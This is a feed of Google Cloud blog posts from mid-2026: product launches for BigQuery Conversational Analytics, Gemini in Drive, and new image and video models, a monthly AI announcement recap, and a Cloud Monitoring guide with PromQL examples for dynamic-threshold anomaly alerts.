See what's coming: Move past historical reporting by triggering AI.FORECAST and AI.DETECT_ANOMALIES right in the chat to project trends and flag outliers, with no model to build or manage.
Query your entire data estate: With object tables, the agent reasons over relational data and unstructured files together, PDFs, images, logs, and video, so a single conversation spans your whole estate.

Fig 4. Conversational Analytics leverages BigQuery AI functions

From answering questions to running the investigation

Conversational Analytics agents are moving from human-scale reactive analysis to agent-scale proactive action. You're no longer limited to asking a question and waiting for the answer.

Deep-dive mode: If you ask ‘Why a metric moved?’ the agent will build its own analytical plan, mapping the critical questions, working through a full multi-step investigation with no manual SQL, and minimizing analytical blind spots. The result is a comprehensive report you can download and share.

Fig 5. Deep Dive mode in Conversational Analytics

Agentic workflows: Deploy autonomous agents that monitor your data, reason over events, run multi-step workflows on a schedule, and deliver insights straight to your chat. You can set up a Monday-morning business report or daily anomaly detection across key metrics, each with a custom directive so they investigate only what you care about.

Fig 6. Scheduling Conversational Analytics agent workflows

Start talking to your data today

General availability of Conversational Analytics in BigQuery marks an official exit from the static dashboard era. By embedding Gemini’s deep cognitive reasoning directly into the data warehouse, we are enabling a self-managing environment that transforms raw data into active, corporate knowledge. This delivery is a key component of the Agentic Data Cloud, providing a true system of action that moves past retrospective reporting, incorporates security and governance by design and is engineered for enterprise trust.

If you are ready to get started, learn more from our documentation, reach out to your Google Cloud account representative, or get started in BigQuery Studio today to build and deploy your first agent.

Ask Gemini in Drive now available on mobile

2026-06-30T17:40:51+00:00

In April, we announced the general availability of Ask Gemini in Drive on the web. We’re now bringing this feature to the Drive Android and iOS apps.

Ask Gemini in Drive offers you a dedicated, immersive workspace designed for deep focus. You can now engage in high-context, multi-turn conversations to efficiently explore and understand content across Drive, other Workspace apps, and the web.

Key features include:

Dedicated conversations: Engage in focused discussions about specific sets of files and folders. By grounding your questions in the relevant content, you get more precise, actionable answers.
Persistent conversation history: Easily pick up where you left off. Your past chats are saved, allowing you to quickly revisit previous insights about specific folders or projects without starting over.
Secure and compliant: Ask Gemini in Drive is built directly into the Drive architecture, it never copies or replicates your files. It honors your existing data protection and security controls, including access permissions, DLP policies, and IRM, ensuring Gemini only accesses content you are authorized to see.

This feature will roll out in English and an additional 28 languages over the next several weeks.

Getting started

Admins: This feature is available by default if Gemini for Workspace in Drive is enabled.
End users: You must have Workspace smart features enabled to use Ask Gemini in Drive. Visit the Help Center to learn more about Ask Gemini in Drive.

Rollout pace

Rapid and Scheduled Release domains: Extended rollout (potentially longer than 15 days for feature visibility) started on June 26, 2026

Availability

Business: Business Standard and Plus
Enterprise: Enterprise Standard and Plus
Consumer: Google AI Pro and Ultra
AI Add-ons: Google AI Pro for Education

Resources

Google Drive Help: Use Gemini in Drive for research & analysis

Expanding our Heat Resilience data to 50+ global cities

2026-06-30T17:03:10+00:00

Climate & Sustainability

Read our 11th annual Environmental Report

2026-06-30T16:05:00+00:00

A collage of a landscape, a Google search for "sustainability", windmills, and Google Maps

Start building with Nano Banana 2 Lite and Gemini Omni Flash

2026-06-30T16:02:40+00:00

What Google Cloud announced in AI this month

2026-06-30T16:00:00+00:00

Editor’s note: Want to keep up with the latest from Google Cloud? Check back here for a monthly recap of our latest updates, announcements, resources, events, learning opportunities, and more.

Our main focus in June was helping your teams build, scale, and secure AI. Today, we’re sharing a fresh roundup of updates designed to help you run smarter, more secure applications while keeping everything under your control.

We even shared a cool virtual shopping demo at Cannes to show how retailers can make product discovery more exciting. Let’s dive in!

Top announcements

Introducing the Open Knowledge Format: We introduced the Open Knowledge Format (OKF), an open specification that formalizes the LLM-wiki pattern into a portable, interoperable format. This is a vendor-neutral, agent- and human-friendly standard for representing the metadata, context, and curated knowledge that modern AI systems need.
Collaboration with Apple on its expanded Private Cloud Compute (PCC) systems: Our collaboration with Apple is built on a foundation of deep commitment to privacy that leverages Google Cloud's security and privacy technologies. At the heart of this collaboration is our Confidential Computing portfolio and our Titanium security architecture.
Claude Fable 5: Available on Google Cloud: Claude Fable 5, Anthropic’s latest frontier model, is now generally available on Google Cloud. This launch is the latest proof point of our ongoing commitment to bring the industry's latest models straight to our Agent Platform.
Cloud Atelier: How Gemini Enterprise is helping restyle the retail playbook: This year at Cannes, we showcased Cloud Atelier — a destination-based, virtual shopping experience that highlights how retail brands can turn this classic dilemma into an exciting moment of product discovery.

Thought leadership (editor’s pick):

How Google Cloud Security uses AI internally: To counter machine-speed, AI-driven threats, we’ve worked hard to transition Google Cloud’s security posture to an autonomous, proactive model. By embedding specialized AI agents directly into our software development lifecycle (SDLC), we’ve created automated guardrails that protect code at a scale and speed unreachable by human teams — and we’re taking steps to make those same guardrails widely available.
The 4 lessons that guided AI Threat Defense: We introduced Chris Betz as the new CISO of Google Cloud. For his first Cloud CISO Perspectives, Chris shares four key lessons we learned about using AI to the defender’s advantage while building AI Threat Defense.

News you can use:

5 lessons from red teaming AI applications: To help you build AI securely, Mandiant has developed a proactive, risk-based approach centered on the Good AI Assessment (GAIA) Top 10, outlined in our new report, Secure Development of Generative AI Applications: A Proactive Approach.
How to unlock true ROI in software development – a deep dive into the latest DORA research: To help you evaluate the costs and business benefits of AI, we recently shared the DORA: ROI of AI-assisted software development report. This research offers a practical approach to help your team work through early adoption challenges, align engineering plans, and drive business growth.
Agent Factory Recap: 100X engineering with AI agents in Google Antigravity 2.0: In this episode of the Agent Factory, Shir Meir Lador, Head of AI Engineering, Google Cloud Developer Relations, sat down with Rody Davis, one of Google’s top agentic engineers. They dive into the massive shift from traditional IDEs to agent-first platforms, the reality of code reviews in an AI-driven world, and how to use "skills" to perform at a 100X level.

Stay tuned for monthly updates on Google Cloud’s AI announcements, news, and best practices. For a deeper dive into the latest from Google Cloud customers, read our monthly recap, Cool stuff customers built.

aside_block: <ListValue: [StructValue([('title', '$300 in free credit to try Google Cloud AI and ML'), ('body', <wagtail.rich_text.RichText object at 0x7f2164786250>), ('btn_text', 'Start building for free'), ('href', 'http://console.cloud.google.com/freetrial?redirectPath=/vertex-ai/'), ('image', None)])]>

May

We’ve had a busy month! Between announcing Gemini Spark and Gemini 3.5 at Google I/O – and unveiling Google AI Threat Defense, our latest AI-powered cybersecurity solution, we had a lot to share with Google Cloud customers. Keeping up with the latest news takes time, so we gathered the most important announcements, thought leadership, and technical guides in one place to help you quickly catch up.

To learn more about our I/O announcements, here’s everything you need to know for Google Cloud customers, and top news for startups.

Top announcements

Introducing Google AI Threat Defense to help you outpace the adversary: Google Cloud is introducing a comprehensive AI-powered cybersecurity solution — Google AI Threat Defense — an always-on autonomous security platform. Learn more here.

Gemini 3.5: Our latest family of models combines frontier intelligence with action – starting with Gemini 3.5 Flash.
Gemini Omni: Our new model is a leap forward in world understanding, multimodality, and editing, letting you generate any output from any input, starting with video.
Google Antigravity: Google Antigravity’s expanded capabilities and new integration with Agent Platform bring agentic development to your entire organization.
Gemini Spark: For Gemini Enterprise and Workspace customers, Gemini Spark is your 24/7 personal AI agent that helps you work more efficiently by autonomously taking action on your behalf, under your direction.
Google Workspace: Google Pics, our new image generation and editing tool, and new voice features in Gmail, Docs and Keep, help reimagine how you work.
Managed Agents API on Agent Platform: Allows developers to build and run custom agents inside secure, Google-hosted environments that seamlessly integrate with Agent Platform.
CodeMender: A powerful AI security agent provided through Agent Platform, CodeMender can help find and fix vulnerabilities in your code.

Nano Banana 2 and Nano Banana Pro are generally available: Available today via Gemini Enterprise Agent Platform, organizations are already putting the models to work. Learn more here.

Thought leadership (editor’s pick):

Cloud CISO Perspectives: How Google + Wiz changes multicloud strategy for CISOs: Vinod D’Souza, director, Office of the CISO, shares highlights from his RSA Conference fireside chat with Anthony Belfiore, chief strategy officer, Wiz. While threat actors have seen gains from the adversarial misuse of AI, Google and Wiz are tackling these challenges head-on by combining Wiz's deep cloud telemetry with Google's world-class AI and quantum research to help CISOs and their organizations meet the needs of the agentic enterprise era. Read more here.

News you can use:

What Google I/O '26 means for developing agents on Google Cloud: Dig deep into how Gemini Enterprise Agent Platform and the new developer tools shared at I/O fit together, unpack the spectrum of choice for building, and share what we’d actually try first. Learn more here.

Five must-have guides to move agents into production with Gemini Enterprise Agent Platform: Here is a look back at our five-part series covering the architecture patterns and best practices you need to move your agents into production. Learn more here.
How to build an AI-ready security program for the public sector: From industrial control systems to decades-old municipal databases, here’s our CISO guidance to prep AI-ready security programs for the public sector. Learn more here.

April

We hosted Google Cloud Next in Las Vegas on April 22, announcing incredible innovations from Gemini Enterprise Agent Platform to our eight-generation TPUs. We also expanded the Gemini Enterprise app in collaborative ways – now, with new features like Projects, you can work side-by-side with your agents and colleagues.

If you missed the livestream, take a look at our Day 1 recap. It’s been incredible to see how customers have been applying AI in thousands of ways — so far, we’ve counted more than 1,300 examples.

Top announcements

1. Gemini Enterprise Agent Platform: Our new, comprehensive platform to build, scale, govern, and optimize agents. Moving forward, all Vertex AI services and roadmap evolutions will be delivered exclusively through the Agent Platform, rather than as a standalone service, to power the next generation of agent development.

The platform is designed around four core pillars — build, scale, govern, and optimize — that allow teams to collaborate seamlessly. Learn more about Agent Platform here.

2. Gemini Enterprise app has all the key components to let teams discover, create, share, and run AI agents in a single environment. At Next ‘26, we introduced several new capabilities in the Gemini Enterprise app:

Agent Designer uses the same no-code agent designer experience of Agent Platform and lets employees build sophisticated schedule- and trigger-based agents using any enterprise connector. It gives you a virtual flowchart of your agent, allowing you to inspect, test, and approve workflows, ensuring total transparency for executing critical business processes.
Long-running agents are designed to execute complex business processes. They can work autonomously in secure cloud sandboxes, giving agents the ability to orchestrate business logic, write code to build custom tools, and complete multi-step work like reconciliation activities or sales prospect sequencing — without needing constant prompting.
Inbox in Gemini Enterprise provides a central location to monitor, guide, and help manage all of your agent activity, including your long-running agents. Notifications are intuitively categorized into actionable groups like "Needs your input," "Errors," and "Completed.”
Projects create a dedicated space where the agent’s memory is confined to the files and conversations your team adds. By connecting it to data sources including Google Drive, NotebookLM, and Google Group Chats, the agent becomes an expert on a specific topic and can provide team members daily briefings or status updates without digging through months of documents.
Skills create simple shortcuts using an “@” mention for repetitive tasks such as applying brand guidelines, formatting a report, and accessing specific data.
Canvas gives our customers an interactive editor directly within Gemini Enterprise. It allows teams to easily create and edit Docs and Slides, and even export to Microsoft 365 files, within the same experience.
Agent Gallery provides access to third-party agents from partners like Adobe, Atlassian, Lovable, and ServiceNow, and is adding more third-party connectors for Asana, Mailchimp, Workday, and more. These integrations enable your agents to retrieve data and execute tasks with your systems-of-record.

3. AI Hypercomputer: Designed specifically for demanding AI workloads, our AI Hypercomputer is an advanced, purpose-built architecture that unites performance-optimized hardware for compute, storage, networking, open software and machine learning frameworks — as well as flexible consumption models — into a single, integrated system. We are announcing innovations at every layer of the AI Hypercomputer:

TPU 8t, optimized for training, uses breakthrough Inter-Chip Interconnect (ICI) technology to scale up to 9,600 TPUs and 2 PB of shared, high-bandwidth memory in a single superpod. It achieves 3x the processing power of Ironwood and delivers up to 2x more performance/Watt.
TPU 8i, optimized for inference, uses our new Boardfly topology to directly connect 1,152 TPUs in a single pod. It features 3x more on-chip SRAM compared to previous versions to host larger KV caches entirely on-silicon and integrates a specialized Collectives Acceleration Engine. Taken together, TPU 8i delivers 80% better performance per dollar for inference than the prior generation, enabling millions of concurrent agents to run cost-effectively.

4. The Agentic Data Cloud: A new data architecture built for the speed and scale of agentic AI. The Agentic Data Cloud delivers an AI-native architecture, allowing agents to perceive, reason, and act on your behalf in real-time, including:

Cross-Cloud Lakehouse, standardized on Apache Iceberg, is our Lakehouse that enables you to leave your data in AWS or Azure (coming later this year) while querying it instantly — without the friction of vendor lock-in or the cost of data movement
Knowledge Catalog constructs a unified, dynamic context graph of your entire business enabling you to ground agents in all of your business data and semantics. With Smart Storage and the Object Context API, files in Google Cloud Storage are instantly tagged and enriched with metadata before an agent touches them. Then our Knowledge Engine uses Gemini to autonomously tag, define logic and instantly map complex relationships across your entire enterprise, providing the semantic definition your agents have been missing.

5. Protecting the agentic enterprise: Security built for the AI era. Our full-stack AI approach, from the chips to the models, gives you a competitive advantage with better integration and velocity to help protect customers. Not only can Google action insights from the world’s largest threat observatory and Mandiant frontline experts, but we also bring cutting-edge insights and breakthroughs from Google DeepMind, to help make your platforms more secure.

Agentic defense: Three new agents in Google Security Operations can help hunt threats, engineer detections, and provide context on third parties. You can build your own security agents with remote Google Cloud model context protocol (MCP) server support for Google Security Operations, now generally available. You can also access the MCP server client directly from the Google Security Operations chat interface, available in preview.
Protecting AI and cloud apps across any infrastructure with Wiz: Newly expanded AI coverage helps build secure agents across clouds and AI studios. New AI-Bill of Materials in development tools can help secure AI-generated code and mitigate the risk of shadow AI. Learn more.
Securing agents and the agentic web: Model Armor can integrate with Agent Gateway, and new Agent Identities provide more layers of defense against shadow AI. Google Cloud Fraud Defense, the next evolution of reCAPTCHA, offers agent-specific capabilities that can help secure the agentic web as well as the entire user and customer journey.
Trusted Cloud: We’re simplifying permissions with modern IAM, and advancing Google Cloud security with new capabilities in Security Command Center plus new innovations in data and network security.
New partner-supported workflows for Google Security Operations: This new robust cohort of partner integrations includes partners developing their own agentic security operations centers (SOCs).

You can catch up on all our security announcements from Next ‘26 here.

News you can use

Guide to prompting Gemini 3.1 Flash TTS (text-to-speech): The new TTS model introduces a high level of controllability by allowing you to steer the delivery using more than 200 audio tags. We'll share how to get strong results from the model, whether you are building accessible gaming soundtracks, banking systems, or audiobooks. Learn more about the model here.
Ultimate prompting guide for Lyria 3 models: Lyria 3, Google's family of music-generation models, is designed to give you granular control over vocals, instrumentation, and arrangement. So we spent weeks testing against every musical genre and use case we could imagine. We put together this guide to share exactly what we learned and how you can get the best results.
How to find the sweet spot between cost and performance: This guide will walk you through Google Cloud's flexible gen AI infrastructure options, showing you how to find that sweet spot on the efficient frontier between cost and performance. We'll start with the foundational pay-as-you-go (PayGo) models and then explore how to layer on more specialized options to build a robust and cost-effective gen AI strategy.
Essential AI and cloud security now on by default: To support the next generation of AI innovators, we are offering on by default essential AI security and cloud security in Security Command Center Standard.
Securing AI inference on GKE with Model Armor: Here’s how to secure AI inference on Google Kubernetes Engine with Model Armor and high-performance storage.
Cloud CISO Perspectives: AI, security, and the workforce of the future: You can’t bring traditional security to an AI fight, so how do we defend against AI-powered attacks, boost defenders with AI, and secure AI use? Drop in on this RSA Conference fireside chat between Francis deSouza, Google Cloud COO and President, Security Products, and Nick Godfrey, senior director, Office of the CISO.

March

March was a busy month for our AI teams. We launched Gemini Embedding 2, rolled out a highly cost-effective Veo 3.1 Lite model, and officially welcomed the Wiz team to Google Cloud to help redefine security in the AI era.

Alongside these launches, we created comprehensive guides to help you get the most out of these models, from prompting formulas for Nano Banana 2, to practical advice for optimizing your TPU training. Here’s a quick look at the latest news and resources to help your team build what’s next.

Top hits:

Gemini Embedding 2: Our first natively multimodal embedding model: Gemini Embedding 2 is our first natively multimodal embedding model that maps text, images, video, audio and documents into a single embedding space, enabling multimodal retrieval and classification across different types of media — and it’s available now in public preview.
Build with Veo 3.1 Lite, our most cost-effective video generation model: This model empowers developers to build high-volume video applications, at less than 50% of the cost of Veo 3.1 Fast, but with the same speed. This rounds out the Veo 3.1 model family, giving developers flexibility based on needs. For Cloud customers, it’s now available on Vertex AI.

Here’s a fun bonus: Check out our ultimate prompting guide for Veo 3.1 to get started.

Welcoming Wiz to Google Cloud: Redefining security for the AI era: Google has completed its acquisition of Wiz, a leading cloud and AI security platform. The Wiz team will join Google Cloud, and we will retain the Wiz brand. With the addition of Wiz, we will provide customers with a comprehensive platform to secure their cloud and hybrid environments, as well as accelerate threat prevention, detection, and response.
Gemini 3.1 Flash Live: Making audio AI more natural and reliable: We’ve improved 3.1 Flash Live’s overall quality, making it more reliable for developers and enterprises to build voice-first agents that can complete complex tasks at scale. On ComplexFuncBench Audio, a benchmark that captures multi-step function calling with various constraints, it leads with a score of 90.8% compared to our previous model.

News you can use:

The ultimate Nano Banana prompting guide: This is a must-read for anyone working with Nano Banana. We spent weeks testing Nano Banana 2 and Nano Banana Pro against every use case we could imagine to test its limits. We put together this guide to share exactly what we learned and how you can get the best results. Here’s an example formula: [Reference images] + [Relationship instruction] + [New scenario]

A developer’s guide to training with Ironwood TPUs: In this guide, we hear from Lillian Yu, CPA, CA , Product Strategy and Operation, and Liat Berry, Product Manager, on five strategies within the JAX and MaxText ecosystems designed to help developers refine training efficiency and hit peak performance on Ironwood hardware.
How to build production-ready AI agents with Google-managed MCP servers: In this guide, we anchor on a specific example. Cityscape is a demo agent built with Google's Application Development Kit (ADK) that turns a simple text prompt — like "Generate a cityscape for Kyoto" — into a unique, AI-generated city image. Check out the guide to learn more.

February

In February, we’re giving developers more reasoning power with Gemini 3.1 Pro and Claude 4.6, and faster creative scaling with Nano Banana 2. We’re also opening up new training programs and step-by-step guides to help you tackle the hardest parts of the AI lifecycle, from capacity planning to mounting defenses against AI-powered attacks.

Here’s a rundown of our latest news, tools, and resources to help you build what’s next.

Top hits

Pro-level image generation gets faster and more accessible with Nano Banana 2: To build creative that stands out, you need models that naturally integrate into your workflows and scale with ease. Check out our blog to see how this comes to life (and how customers are putting the model to work).

Introducing Gemini 3.1 Pro on Google Cloud: Gemini 3.1 Pro is a clear step forward in reasoning, designed to solve tougher problems, giving you the reasoning depth your business needs. Gemini 3.1 Pro is available starting today in preview in Vertex AI and Gemini Enterprise. Developers can access the model in preview via the Gemini API in Google AI Studio, Android Studio, Google Antigravity, and Gemini CLI.
Announcing Claude Opus 4.6 and Claude Sonnet 4.6 on Vertex AI: Now generally available on Vertex AI, explore our sample notebook to get started and visit our documentation for comprehensive pricing and regional availability details.
New AI threats report: Distillation, experimentation, and integration: John Hultquist, chief analyst, Google Threat Intelligence Group, details what security leaders should know from our newest AI threat report on experimentation, integration, and distillation attacks.

News you can use

A developer's guide to production-ready AI agents: To help developers work through these challenges, we've published a collection of guides covering the full agent lifecycle. These resources first appeared during Kaggle’s 5 days of AI Agents Intensive, and they’ve proven so popular and useful, we wanted to make sure a wider audience had access, as well.
Gemini Enterprise Agent Ready (GEAR) program now available: We opened the Gemini Enterprise Agent Ready (GEAR) learning program to everyone. As a new specialized pathway within the Google Developer Program, GEAR empowers developers and pros to build and deploy enterprise-grade agents with Google AI.
Your guide to Provisioned Throughput (PT) on Vertex AI: Check out this deep-dive blog designed to show you the resources available to you today on Vertex AI, and how you can get started capacity planning.
How AI can boost defenders, from defense in depth to the cyber kill chain (Q&A): We know that defenders are also developing powerful AI tools, but what’s still unknown is what it could mean for enterprise software ownership if companies have to constantly mount AI-directed defenses at AI-powered attacks?

Janurary

We used to have to learn the language of computers. In 2026, they’re learning ours.

We kicked off the year by exploring the future of agentic commerce, where AI agents navigate the web to find and buy products for us. Our leaders call this the "invisible shelf" — a world where commerce isn't tied to a specific website. To make this reality scalable, we announced the Universal Commerce Protocol (UCP), a shared language that allows agents and retailers to understand each other.

We brought that same fluency to our creative and technical tools:

Updates to Veo 3.1 allow creators to use simple inputs — like reference images — to generate precise, mobile-ready video.
Natural language queries: With Comments to SQL in BigQuery, we’re removing the language barrier to data. Engineers can now write queries by describing their intent in natural language, prioritizing the question over the code.

Let’s dive in.

Top hits

1. Gemini Enterprise for Customer Experience (CX): Specifically built for agentic retail, this platform transforms fragmented search, commerce and service touch points into one seamless journey — whether you need a shopping assistant, a support bot, agentic search or help with merchandising.

2. We announced Universal Commerce Protocol (UCP): A new open standard for agentic commerce that works across the entire shopping journey — from discovery and buying to post-purchase support. UCP establishes a common language for agents and systems to operate together across consumer surfaces, businesses and payment providers. So instead of requiring unique connections for every individual agent, UCP enables all agents to interact easily. UCP is built to work across verticals and is compatible with existing industry protocols like Agent2Agent (A2A), Agent Payments Protocol (AP2) and Model Context Protocol (MCP).

3. We updated Veo 3.1, including improvements to Ingredients to Video and Portrait mode: Veo is getting more expressive, with improvements that help you create more fun, creative, high-quality videos based on ingredient images, built directly for the mobile format. This includes:

Improvements to Veo 3.1 Ingredients to Video, our capability that lets you create videos based on reference images.
Native vertical outputs for Ingredients to Video (portrait mode) to power mobile-first, short-form video creation.
State-of-the-art upscaling to 1080p and 4K resolution 1 for high-fidelity production workflows.

These updates are launching in the Gemini app, YouTube, Flow, Google Vids, the Gemini API and Vertex AI.

4. Vibe querying with comments-to-SQL: Crafting complex SQL queries can be challenging. Often, engineers simply want to express their data needs in plain English directly within their SQL workflow. That’s why we’re introducing Comments to SQL in BigQuery. This feature makes writing queries using natural language – ‘vibe querying’ – a reality. Learn more in the blog.

News you can use

Mastering Gemini CLI: Your complete guide from installation to advanced use-cases: We’ve teamed up with DeepLearning.ai and are excited to announce a free course – Gemini CLI: Code & Create with an Open-Source Agent. This course isn’t just for developers; we dive into practical use cases for various tasks such as data analysis, content creation, and personalized learning.
How Google SREs use Gemini CLI to solve real-world outages: In this article, we’ll delve into real scenarios that Google SREs are solving today using Gemini 3 (our latest foundation model) and Gemini CLI—the go-to tool for bringing agentic capabilities to the terminal.
Getting started with Gemini 3: Deploy your first Gemini 3 app to Google Cloud Run: In this blog, we will show you how to vibe code your first app—which leverages the Gemini 3 Flash Preview model and deploy it as a publicly accessible URL on Google Cloud Run. Google AI Studio lets you go from idea to app quickly by using natural language to generate fully functional apps using the power of Gemini 3.
Practical guidance: Building with the Secure AI Framework (SAIF) on Google Cloud: We know that security and data privacy are the top concern for executives when evaluating AI providers, and security is the top use case for AI agents in a majority of industries. To help you build AI boldly and responsibly, here’s our guide to developing AI with the Secure AI Framework (SAIF) on Google Cloud.
The truths about AI hacking that every CISO needs to know (Q&A): How will AI boost threat actors? And what can chief information security officers do about it? Google’s Heather Adkins, vice-president, Security Engineering, explores how securing the enterprise is about to change.

Anomaly detection using dynamic thresholds and two-year-long alerts in Cloud Monitoring

2026-06-30T16:00:00+00:00

Choosing the threshold of an alert policy can be a headache. You have to analyze historical data, aggregate it into semantically meaningful time series, and choose a threshold that matters. If the workload grows, your previously set static threshold might become too low, and your alert might fire too frequently. New workloads might require setting new thresholds, and setting separate thresholds for separate workloads requires creating separate policies, resulting in the annoyance of managing a fleet of mostly similar policies.

Not to mention, some metrics can’t even be alerted on using static thresholds. If your metric varies by time of day, like many e-commerce metrics do, then no single threshold will work. For example, what do you do if your metric looks like this:

Clearly something went wrong in the middle of that chart… but because the anomalous value is within the normal range of the daily data, no static value threshold can ever catch it.

Introducing long lookbacks and dynamic thresholding

We are pleased to announce that this problem is now solvable for users of Cloud Monitoring alerts with the launch of long-lookback alert policies for PromQL, currently in preview. This highly requested feature update now lets you configure PromQL alert policies to run over two years of metric data stored in Cloud Monitoring, supporting year-over-year and quarter-over-quarter analysis.

One major use case unlocked by two-year lookback horizons in PromQL is dynamic thresholding, that is, policies where the threshold refers to the metric’s history. A simple example is an alert policy that says “alert me if the average over the last 5 minutes is 2x more than the average over the last week.” Instead of setting a static number as your threshold, you set how anomalous each time series must be from its historical data before generating an alert. This allows flexibility in policies, supports naturally changing baselines caused by growth in workloads, and provides a single threshold that works for all workloads. You don’t have to analyze every time series to set alerts properly – just set a factor that signals “anomalous” to you.

Take the above example: To catch that anomaly, you might create a policy that says “alert me if the value over the last 5 minutes is lower than 70% of the value from the same 5-minute span one week ago.” Such a policy would create a threshold that varies by the time of day, and you would catch the anomalous drop:

Dynamic threshold algorithms

Choosing the right dynamic threshold algorithm in PromQL depends on the shape of your source data. Metrics that vary by time of day need a different algorithm than metrics that have little variation.

You can rewrite the below examples to have the historical data query as your threshold (putting a metric after the < or >), but if you do so you can’t easily visualize the threshold.

Because these use historical data, granular alert policies that trigger on individual workloads instead of aggregates might be flaky when spinning up new workloads. This issue will resolve itself as you accrue historical data. You can also avoid this by only running dynamic threshold alerts on aggregates.

Moving averages
In the simplest of the algorithms, alerts trigger when the recent trend of the data deviates from a moving average of data over a long period of time. This is good for catching anomalies in relatively stable data.

Here’s some example PromQL, comparing the last 5 minutes to a one-week baseline and alerting if it’s 30% higher or lower than average:

code_block: <ListValue: [StructValue([('code', 'sum(rate(http_requests_total[5m])) /\r\nsum(rate(http_requests_total[1w]))\r\n > 1.3\r\nOR\r\nsum(rate(http_requests_total[5m])) /\r\nsum(rate(http_requests_total[1w]))\r\n < .7'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7f21655ccdf0>)])]>

You can also write this as a direct comparison, which might be more understandable. The following says “alert me if the most recent 5 minutes average of data is >1.3x the weekly average.”:

code_block: <ListValue: [StructValue([('code', 'sum(rate(http_requests_total[5m])) > 1.3 * sum(rate(http_requests_total[1w]))'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7f216545df40>)])]>

Z-score (standard deviation)
Use this algorithm to identify anomalies based on the average and standard deviation of your data. A z-score measures the statistical distance between your recent data and historical data, with a common threshold being that a z-score above three or below negative three is considered anomalous. This measures the volatility of your data compared to its usual noisiness, and it works best with data that has a stable average and decent volatility:

Example PromQL, comparing the last 5 minutes to the one-week average and standard deviation:

code_block: <ListValue: [StructValue([('code', 'abs(\r\nsum(rate(http_requests_total[5m]))\r\n-\r\nsum(rate(http_requests_total[1w]))\r\n)\r\n/\r\nstddev_over_time(sum(rate(http_requests_total[5m]))[1w:5m])\r\n> 3'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7f216545d4c0>)])]>

Example z-score signal and the resulting anomaly detection threshold:

Seasonal decomposition (time offset comparison)
This is a simple time-offset algorithm that compares time-series data in a period of time to the same period from the previous day or week. This is ideal for metrics that have timely patterns associated with them, such as visitors to a website that vary by time of day and day of week. Holidays and other factors that might cause a given day to be lower than expected can be smoothed away by averaging more than one historical period (e.g., average one week ago, two weeks ago, and three weeks ago, then compare that average to today).

Example PromQL, comparing the last 5 minutes to the same time period yesterday, alerting if the recent data is more than 50% lower than the one-day offset data:

code_block: <ListValue: [StructValue([('code', 'sum(rate(http_requests_total[5m])) /\r\n sum(rate(http_requests_total[5m] offset 1d))\r\n < .5'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7f216545db80>)])]>

Which can be algebraically rewritten to:

code_block: <ListValue: [StructValue([('code', 'sum(rate(http_requests_total[5m])) < .5 * sum(rate(http_requests_total[5m] offset 1d))'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7f216545d9a0>)])]>

In production, you might want to compare to the same period one week ago, or compare to an average of the same period one and seven days ago, to avoid triggering on naturally lower days such as weekends and holidays:

code_block: <ListValue: [StructValue([('code', 'sum(rate(http_requests_total[5m])) /\r\n ((\r\n sum(rate(http_requests_total[5m] offset 1d)) + sum(rate(http_requests_total[5m] offset 7d)) \r\n ) / 2)\r\n < .5'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7f216545d070>)])]>

When using time offsets, you can only reliably trigger on either drops or spikes, as triggering on both sudden drops and sudden spikes in a single policy may cause your alerts to fire twice.

Think of it this way: If traffic drops steeply today, your alert will trigger immediately. However, exactly 24 hours later, today's anomalous drop becomes tomorrow's historical baseline. If your policy triggers on any anomalous difference (higher or lower), the sudden "return to normal" tomorrow will look like a massive spike relative to yesterday's dip, and you will get a false alert for a phantom anomaly. You can see this in the above chart — the dip in the signal (blue line) reappears as its reciprocal exactly 24 hours later.

To prevent this, you should only track either drops or spikes when monitoring any given metric.

Control runaway costs using dynamic thresholds

Once you can trigger an alert based on deviations from a historical baseline, many interesting use cases open up. For example, you can use dynamic thresholding to prevent overspend for any Google Cloud service that offers a metric that roughly tracks spend.

Say you are concerned about runaway AI token costs. You could do the following:

- Configure a dynamic threshold alert that triggers if the most recent 10 minutes of accumulated input/output token usage is more than 25x the one-week historical average, which should only catch extreme anomalous scenarios (such as leaked API keys) that will definitely result in overspend:
  - sum(rate({"__name__"="aiplatform.googleapis.com/publisher/online_serving/ token_count"}[10m])) >25 * sum(rate({"__name__"="aiplatform.googleapis.com/publisher/online_serving/ token_count"}[1w]))

Trigger your alert to fire to a Pub/Sub notification channel that pushes notifications to a Cloud Run function.
That Cloud Run function then runs a workflow that uses the Cloud Quotas API to lower your Token Usage quota to 0, which immediately stops the overspend. Note that legitimate use of tokens will be paused until you can fix the problem… but at least you’ll stop the bleeding.

Sign up to be a design partner

We are working on productizing anomaly detection using dynamic thresholds so they’re easier to write. We’re also working on more complex anomaly detection algorithms in Cloud Monitoring alerting that uses AI models specifically trained on time-series data.

If you’re interested in sharing your thoughts and being an early adopter of what we’re building in this space, sign up to be a preview partner. We’d love to have you!

Bringing speed and strong cost performance to the market with Gemini Omni Flash and Nano Banana 2 Lite

2026-06-30T16:00:00+00:00

Great creative happens when your tools move at the speed of your ideas. To help you create rich, reliable experiences while reducing regeneration time and costs, we’re adding two new models to Gemini Enterprise Agent Platform.

First, we’re announcing the general availability of Nano Banana 2 Lite (Gemini 3.1 Flash-Lite Image). This model is the fastest and most cost-efficient image generation and editing model within the Nano Banana model family. Whether you're rapid-firing ideas, A/B testing ad variations, or powering social apps for millions of users, this model gives you the power to explore, iterate, and scale with speed.

We’re also releasing Gemini Omni Flash in public preview. Grounded in Gemini's real-world knowledge, it powers high-quality video generation and conversational editing. Whether you're executing character or product swaps, performing dynamic style transfers, or adding objects and relighting scenes, this model gives you precise control to edit and refine video assets.

Bring your boldest vision to life with Gemini Omni Flash and Nano Banana.

Both models provide some of the best price-performance among market-leading frontier models for image and video generation and editing.

Gemini Omni Flash: High-quality video generation and editing

Gemini Omni Flash brings conversational video generation and editing directly into your applications. Users can easily embed powerful media models into their agentic workflows to create, remix, and refine video without ever switching platforms.

For comprehensive benchmarking information from Google DeepMind, please visit Gemini Omni.

We built Gemini Omni Flash with a focus across these four key areas:

Conversational editing: Swap characters, relight scenes, or alter angles using natural language while natively maintaining original audio and video tracks.
Multimodal input: Combine text, images, and video inputs to guide video generation. Gemini Omni Flash natively generates audio with every video output, while maintaining character, object, and style consistency.
